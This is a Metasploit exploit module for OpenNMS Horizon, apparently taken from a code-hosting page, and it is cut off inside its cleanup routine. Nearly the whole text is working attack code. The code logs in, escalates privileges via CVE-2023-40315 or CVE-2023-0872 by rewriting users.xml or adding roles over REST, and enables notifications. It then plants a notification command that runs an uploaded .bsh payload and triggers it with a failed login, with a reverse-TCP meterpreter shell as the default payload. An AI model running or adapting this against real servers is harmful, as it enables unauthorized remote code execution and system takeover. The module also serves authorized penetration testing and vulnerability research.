rapid7/metasploit-framework

View on GitHub
modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb

Summary

Maintainability
F
1 wk
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenNMS Horizon Authenticated RCE',
        'Description' => %q{
          This module exploits built-in functionality in OpenNMS
          Horizon in order to execute arbitrary commands as the
          opennms user. For versions 32.0.2 and higher, this
          module requires valid credentials for a user with
          ROLE_FILESYSTEM_EDITOR privileges and either
          ROLE_ADMIN or ROLE_REST.

          For versions 32.0.1 and lower, credentials are
          required for a user with ROLE_FILESYSTEM_EDITOR,
          ROLE_REST, and/or ROLE_ADMIN privileges. In that case,
          the module will automatically escalate privileges via
          CVE-2023-40315 or CVE-2023-0872 if necessary.

          This module has been successfully tested against OpenNMS
          version 31.0.7
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Erik Wynter' # @wyntererik - Discovery and Metasploit
        ],
        'References' => [
          ['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2
          ['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2
        ],
        'Platform' => 'linux',
        'Arch' => 'ARCH_CMD',
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'RPORT' => 8980,
          'SRVPORT' => 8080,
          'FETCH_COMMAND' => 'CURL',
          'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
          'FETCH_WRITABLE_DIR' => '/tmp',
          'FETCH_SRVPORT' => 8081,
          'WfsDelay' => 15 # It takes a while for the payload to execute
        },
        'Targets' => [ [ 'Linux', {} ] ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2023-07-01',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
    ]

    register_advanced_options [
      OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def privesc_save_delay
    datastore['PRIVESC_SAVE_DELAY']
  end

  def notification_commands_file
    'notificationCommands.xml'
  end

  def destination_paths_file
    'destinationPaths.xml'
  end

  def notifications_file
    'notifications.xml'
  end

  def users_file
    'users.xml'
  end

  def check
    # Try to authenticate
    success, msg_or_check_code = opennms_login('check')
    return msg_or_check_code unless success

    vprint_status(msg_or_check_code)

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.jsp'),
      'keep_cookies' => true
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    # If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this
    # Instead, we should simply check if the HTLM body includes the expected title and version information
    unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
      return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')
    end

    # Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern
    version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first

    if version.blank?
      return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')
    end

    begin
      rex_version = Rex::Version.new(version)
    rescue ArgumentError => e
      return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")
    end

    if rex_version < Rex::Version.new('32.0.2')
      print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")
    else
      print_status("The target is OpenNMS version #{version}.")
    end

    # Check if we can access the user configuration file. There are two ways to do this:
    # - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.
    # - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.
    # If neither of these work for us, RCE won't be possible.
    success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first
    unless success
      success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next
      return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly
    end

    # Extract the privileges of the current user
    success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')
    return privs_or_check_code unless success

    # Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges
    if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')
      if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')
        # We don't need to escalate privileges here
        @highest_priv = 'GOD'
        return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")
      end

      @highest_priv = 'ROLE_FILESYSTEM_EDITOR'
    elsif privs_or_check_code.include?('ROLE_ADMIN')
      @highest_priv = 'ROLE_ADMIN'
      return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")
    elsif privs_or_check_code.include?('ROLE_REST')
      @highest_priv = 'ROLE_REST'
    else
      return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")
    end

    # If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN
    # This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower
    if rex_version >= Rex::Version.new('32.0.2')
      return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")
    end

    cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
            'CVE-2023-40315'
          else
            'CVE-2023-0872'
          end

    CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")
  end

  # This method is use to handle failures based on the stage of the exploit
  #
  # @param mode [String] The mode to use: check, exploit or cleanup
  # @param message [String] The message to display to the user
  # @param status [String] The status to use: disconnected, unexpected_reply or no_access
  # @return [Array] An array containing a boolean and a CheckCode or message
  def deal_with_failure_by_mode(mode, message, status)
    return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'

    case status
    when 'disconnected'
      return [false, CheckCode::Unknown(message)] if mode == 'check'

      fail_with(Failure::Disconnected, message)
    when 'unexpected_reply'
      return [false, CheckCode::Unknown(message)] if mode == 'check'

      fail_with(Failure::UnexpectedReply, message)
    when 'no_access'
      return [false, CheckCode::Safe(message)] if mode == 'check'

      fail_with(Failure::NoAccess, message)
    end
  end

  # This method is used to perform a login attempt
  #
  # @param mode [String] The mode to use: check, exploit or cleanup
  # @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not
  # @return [Array] An array containing a boolean and a CheckCode or message
  def opennms_login(mode, perform_invalid_login: false)
    if perform_invalid_login
      user = Rex::Text.rand_text_alpha(8..12)
      pass = Rex::Text.rand_text_alpha(8..12)
      keep_cookies = false
    else
      user = username
      pass = password
      keep_cookies = true

      res1 = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'login.jsp'),
        'keep_cookies' => keep_cookies
      })

      unless res1
        return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')
      end

      unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
        msg = if mode == 'check'
                'Target is not an OpenNMS application.'
              else
                'Received unexpected response while attempting to access the OpenNMS Web Console.'
              end

        return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')
      end
    end

    # Try to authenticate
    res2 = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
      'keep_cookies' => keep_cookies,
      'vars_post' => {
        'j_username' => user,
        'j_password' => pass
      }
    })

    unless res2
      if perform_invalid_login
        return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]
      else
        return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')
      end
    end

    unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
      if perform_invalid_login
        return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']
      else
        message = if mode == 'check'
                    'Authentication failed. Please check your credentials.'
                  else
                    'Received unexpected response while attempting to authenticate.'
                  end

        return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
      end
    end

    # Authentication was successful
    if perform_invalid_login
      return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]
    end

    [true, 'Successfully authenticated']
  end

  # This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint
  #
  # @param file_name [String] The name of the file to obtain
  # @param root_element [String] The name of the root element in the XML file
  # @param element [String] The name of the element to obtain from the XML file
  # @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure
  # @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint
  # @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document
  def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)
    request_hash = {
      'method' => 'GET',
      'keep_cookies' => true
    }

    if filesystem
      request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')
      request_hash['vars_get'] = { 'f' => file_name }
    else
      request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)
    end

    # Try to obtain the file
    res = send_request_cgi(request_hash)

    unless res
      return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')
    end

    # when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element
    if file_name == users_file
      if filesystem
        filesystem_root_element = 'userinfo'
      else
        filesystem_root_element = 'users'
      end
    else
      filesystem_root_element = root_element
    end

    unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")
      return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')
    end

    # Parse the file
    begin
      doc = Nokogiri::XML(res.body)
      elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }
    rescue Nokogiri::XML::SyntaxError => e
      return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')
    end

    if elements.blank?
      return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')
    end

    [true, doc]
  end

  # This method is used to obtain the privileges of a user from the users.xml file
  #
  # @param xml_doc [Nokogiri::XML::Document] The XML document containing the users
  # @param mode [String] The mode to use: check, exploit or cleanup
  # @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges
  def grab_user_privs(xml_doc, mode)
    privileges = []
    begin
      user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }
      if user.blank?
        return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')
      end

      privileges = user.css('role')&.map { |r| r&.text }
      if privileges.blank?
        return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')
      end
    rescue Nokogiri::XML::SyntaxError => e
      return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')
    end

    vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")

    [true, privileges]
  end

  # This method is used to escalate or deescalate privileges
  #
  # @param deescalate [Boolean] Whether to escalate or deescalate privileges
  # @return [Array] An array containing a boolean and a CheckCode or message
  def escalate_or_deescalate_privs(deescalate: false)
    # Establish some variables based on if we need to escalate or deescalate privileges
    if deescalate
      use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'
      mode = 'cleanup'
    else
      use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
      mode = 'exploit'
    end

    # grab and parse the users.xml file
    success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
    return [false, xml_doc_or_msg] unless success

    # Get the privileges of the current user as a sanity check
    success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)
    return [false, privileges_or_msg] unless success

    # if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise
    if deescalate && privileges_or_msg.exclude?(@role_to_add)
      return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']
    end

    # if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise
    unless deescalate
      if use_filesystem
        if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')
          # We don't need to escalate privileges here
          @highest_priv = 'GOD'
          return [true]
        end

        @role_to_add = 'ROLE_ADMIN'
      else
        if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')
          # We don't need to escalate privileges here
          @highest_priv = 'GOD'
          return [true]
        end

        @role_to_add = 'ROLE_FILESYSTEM_EDITOR'
      end
    end

    # Add or remove the required role to the current user
    if use_filesystem
      # If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role
      begin
        user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }
        if user.blank?
          message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."
          return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
        end

        if deescalate
          role = user.css('role').find { |r| r.text == @role_to_add }
          if role.blank?
            return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']
          end

          role.remove
        else
          user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))
        end
      rescue Nokogiri::XML::SyntaxError => e
        return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')
      end

      # upload the edited users.xml file via the filesystem endpoint
      success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)
      unless deescalate
        # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved
        print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")
        sleep(privesc_save_delay)
      end
      return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen
    else
      # If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this
      # /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role
      res = send_request_cgi({
        'method' => deescalate ? 'DELETE' : 'PUT',
        'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),
        'keep_cookies' => true
      }, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.

      # 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed
      if res && ![204, 304].include?(res.code)
        return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')
      end
    end

    # Get the users.xml file again to make sure our changes were saved
    success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
    return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen

    # Get the privileges of the current user again to make sure our changes were saved
    success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)
    return [false, privs_or_msg] unless success

    # Check if our changes were saved
    if deescalate
      if privs_or_msg.include?(@role_to_add)
        return [false, 'Failed to deescalate privileges. Manual cleanup is required.']
      end

      return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]
    end

    # If we are here, we are escalating privileges
    unless privs_or_msg.include?(@role_to_add)
      fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')
    end

    @highest_priv = 'GOD'
    [true, "Successfully escalated privileges by adding #{@role_to_add}"]
  end

  # This method is used to generate the XML document that will be used to add a notification command
  #
  # @param file_name [String] The name of the file to upload
  # @param xml_doc [Nokogiri::XML::Document] The XML document to upload
  # @return [Rex::MIME::Message] The post data
  def generate_post_data(file_name, data_to_write)
    post_data = Rex::MIME::Message.new
    post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")

    post_data
  end

  # This method is used to upload an XML configuration file to the target
  #
  # @param file_name [String] The name of the file to upload
  # @param post_data [Rex::MIME::Message] The post data to upload
  # @param mode [String] The mode to use: exploit or cleanup
  # @return [Array] An array containing a boolean and an optional message
  def upload_xml_config_file(file_name, post_data, mode = 'exploit')
    # upload the edited notificationCommands.xml file
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
      'vars_get' => { 'f' => file_name },
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'keep_cookies' => true,
      'data' => post_data.to_s
    })

    unless res
      return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')
    end

    unless res.code == 200 && res.body.include?('Successfully wrote to')
      return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')
    end

    [true]
  end

  def find_element_via_at_css(file_name)
    if [destination_paths_file, notifications_file].include?(file_name)
      return false
    end

    true
  end

  # This method is used to edit an XML configuration file
  #
  # @param file_name [String] The name of the file to edit
  # @param root_element [String] The name of the root element in the XML file
  # @param element [String] The name of the element to edit in the XML file
  def edit_xml_config_file(file_name, root_element, element)
    # First we need to get the current #{file_name} file, so we can edit our #{element_name} in it
    _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')

    # update the xml document with a new element
    new_value = Rex::Text.rand_text_alpha(8..12)
    case file_name
    when notification_commands_file
      xml_doc = add_notification_command(xml_doc, new_value)
    when destination_paths_file
      xml_doc = add_destination_path(xml_doc, new_value)
    when notifications_file
      xml_doc = add_notification(xml_doc, new_value)
    end

    # upload the edited #{file_name} file via the filesystem endpoint
    upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')

    # generate global variables for cleanup
    case file_name
    when notification_commands_file
      @notification_command_name = new_value
    when destination_paths_file
      @destination_path_name = new_value
    when notifications_file
      @notification_name = new_value
    end

    # Get the #{file_name} file again to make sure our #{element_name} was edited
    _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')

    # Check if our #{element_name} was edited
    if find_element_via_at_css(file_name)
      full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }
    else
      full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }
    end

    if full_element.blank?
      fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")
    end

    print_status("Successfully edited #{file_name}")
  end

  # This method is used to add a notification command to a Nokogiri XML document
  #
  # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to
  # @param notification_command_name [String] The name of the notification command to add
  # @return [Nokogiri::XML::Document] The updated XML document
  def add_notification_command(xml_doc, notification_command_name)
    # A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.

    # Update the xml document with a new notification command
    notification_comment = Rex::Text.rand_text_alpha(6..10)

    notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed
    name = xml_doc.create_element('name', notification_command_name)
    execute = xml_doc.create_element('execute', '/usr/bin/bash')
    comment = xml_doc.create_element('comment', notification_comment)
    argument = xml_doc.create_element('argument', 'streamed' => 'false')
    argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")
    argument.add_child(argument_switch)

    notification_command.add_child(name)
    notification_command.add_child(execute)
    notification_command.add_child(comment)
    notification_command.add_child(argument)
    xml_doc.at_css('notification-commands').add_child(notification_command)

    xml_doc
  end

  # This method is used to add a destination path to a Nokogiri XML document
  #
  # @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to
  # @param destination_path_name [String] The name of the destination path to add
  # @return [Nokogiri::XML::Document] The updated XML document
  def add_destination_path(xml_doc, destination_path_name)
    # A destination path points to a specific group or user that will receive a notification when a notification is triggered.
    # It also indicates which notification command should be executed when the notification is triggered.
    # We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.

    # Update the xml document with a new destination path
    destination_path = xml_doc.create_element('path', 'name' => destination_path_name)
    target = xml_doc.create_element('target')
    name = xml_doc.create_element('name', 'Admin')
    command = xml_doc.create_element('command', @notification_command_name)
    target.add_child(name)
    target.add_child(command)
    destination_path.add_child(target)
    xml_doc.at_css('destinationPaths').add_child(destination_path)

    xml_doc
  end

  # This method is used to add a notification to a Nokogiri XML document
  #
  # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to
  # @param notification_name [String] The name of the notification to add
  # @return [Nokogiri::XML::Document] The updated XML document
  def add_notification(xml_doc, notification_name)
    # A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.
    # We need to add a notification that will trigger our destination path so that our notification command gets executed.

    # Update the xml document with a new notification that will be triggered when a user fails to authenticate
    # since that is something we can easily trigger ourselves
    notification_message = Rex::Text.rand_text_alpha(6..10)

    notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')
    uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')
    # We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)
    rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")
    destination_path = xml_doc.create_element('destinationPath', @destination_path_name)
    text_message = xml_doc.create_element('text-message', notification_message)
    notification.add_child(uei)
    notification.add_child(rule)
    notification.add_child(destination_path)
    notification.add_child(text_message)
    xml_doc.at_css('notifications').add_child(notification)

    xml_doc
  end

  # This method is used to remove an element from an XML configuration file
  #
  # @param file_name [String] The name of the file to remove the element from
  # @param root_element [String] The name of the root element in the XML file
  # @param element [String] The name of the element to remove from the XML file
  # @param element_to_remove [String] The name of the element to remove from the XML file
  def revert_xml_config_file(file_name, root_element, element, element_to_remove)
    # First we need to get the current #{file_name} file, so we can remove our #{element_name} from it
    success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
    unless success
      print_error(xml_doc_or_msg)
      return
    end

    begin
      if find_element_via_at_css(file_name)
        full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }
      else
        full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }
      end

      unless full_element.present?
        print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")
        return
      end

      full_element.remove
    rescue Nokogiri::XML::SyntaxError
      print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")
      return
    end

    # generate post data
    post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))

    success, message = upload_xml_config_file(file_name, post_data, 'cleanup')
    unless success
      print_error(message)
      return
    end

    # Get the #{file_name} file again to make sure our #{element_name} was removed
    success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
    unless success
      print_error(xml_doc_or_msg)
      return
    end

    # Check if our #{element_name} was removed
    if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)
      print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")
    else
      vprint_status("Successfully removed #{element_to_remove} from #{file_name}")
    end
  end

  # This method is used to trigger a reload of the OpenNMS configuration
  #
  # @param mode [String] The mode to use: exploit or cleanup
  # @return [Array] An array containing a boolean and a message
  def update_configuration(mode)
    # We need to update the configuration in order for our changes to take effect
    xml_doc = Nokogiri::XML::Builder.new do |xml|
      xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do
        xml.uei('uei.opennms.org/internal/reloadDaemonConfig')
        xml.source('perl_send_event')
        xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))
        xml.host(Rex::Text.rand_text_alpha(8..12))
        xml.parms do
          xml.parm do
            xml.parmName('daemonName')
            xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })
          end
        end
      end
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'events'),
      'ctype' => 'application/xml',
      'keep_cookies' => true,
      'data' => xml_doc.to_xml(indent: 3)
    })

    unless res
      message = 'Connection failed while attempting to update the configuration.'
      message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
      return deal_with_failure_by_mode(mode, message, 'disconnected')
    end

    unless res.code == 202
      message = 'Received unexpected response while attempting to update the configuration.'
      message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
      return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
    end

    [true, 'Successfully updated the configuration']
  end

  # This method is used to write the payload to a .bsh file and trigger the notification
  #
  # @param cmd [String] The command to execute
  def write_payload_to_bsh_file(cmd)
    # We need to write our payload to a .bsh file so that it can be executed by the notification command

    post_data = generate_post_data(@payload_file_name, cmd)

    res1 = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
      'vars_get' => { 'f' => @payload_file_name },
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'keep_cookies' => true,
      'data' => post_data.to_s
    })

    unless res1
      fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')
    end

    unless res1.code == 200 && res1.body.include?('Successfully wrote to')
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')
    end

    # Get the payload file again to make sure it was uploaded successfully
    res2 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
      'vars_get' => { 'f' => @payload_file_name },
      'keep_cookies' => true
    })

    unless res2
      fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')
    end

    unless res2.code == 200 && res2.body == cmd
      fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')
    end

    print_good("Successfully uploaded the payload to #{@payload_file_name}")
    @payload_written = true
  end

  def execute_command(cmd, _opts = {})
    # Write the payload to a .bsh file
    write_payload_to_bsh_file(cmd)

    print_status('Triggering the notification to execute the payload')
    # Trigger the notification by performing a login attempt using random credentials
    success, message = opennms_login('exploit', perform_invalid_login: true)
    if success
      print_status(message)
    else
      print_error(message)
    end
  end

  # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled
  # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.
  # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html
  def ensure_notifications_enabled
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.jsp'),
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res

    if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?
      vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')
      res2 = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
        'keep_cookies' => true,
        'vars_post' => {
          'status' => 'on'
        }
      })
      fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
    end
    vprint_good('Notifications are enabled')
  end

  def exploit
    # Check if we need to escalate privileges
    if @highest_priv && @highest_priv != 'GOD'
      # This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.
      _success, msg = escalate_or_deescalate_privs
      print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already
    end
    # Let's make sure we have a valid session by clearing the cookie jar and logging in again
    # This will also ensure that any new privileges we may have added are applied
    cookie_jar.clear
    _success, message = opennms_login('exploit')
    vprint_status(message) # _success will always be true here, otherwise we would have failed already

    # Check to ensure Notifications are turned on. If they are disabled, enable them.
    ensure_notifications_enabled

    # Generate a random payload file name
    @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase

    # Add a notification command
    edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')

    # Add a destination path
    edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')

    # Add a notification
    edit_xml_config_file(notifications_file, 'notifications', 'notification')

    # Update the configuration changes we made
    update_configuration('exploit')

    # Write the payload and trigger the notification
    execute_command(payload.encoded)
  end

  def cleanup
    return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)

    print_status('Attempting cleanup...')
    # to be on the safe side, we'll clear the cookie jar and log in again
    cookie_jar.clear
    success, message = opennms_login('cleanup')
    if success
      vprint_status(message)
    else
      print_error(message)
      return
    end

    # Delete the payload file
    if @payload_file_name.present? && @payload_written
      res = send_request_cgi({
        'method' => 'DELETE',
        'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
        'vars_get' => { 'f' => @payload_file_name },
        'keep_cookies' => true
      })

      unless res
        print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
        return
      end

      unless res.code == 200 && res.body.include?('Successfully deleted')
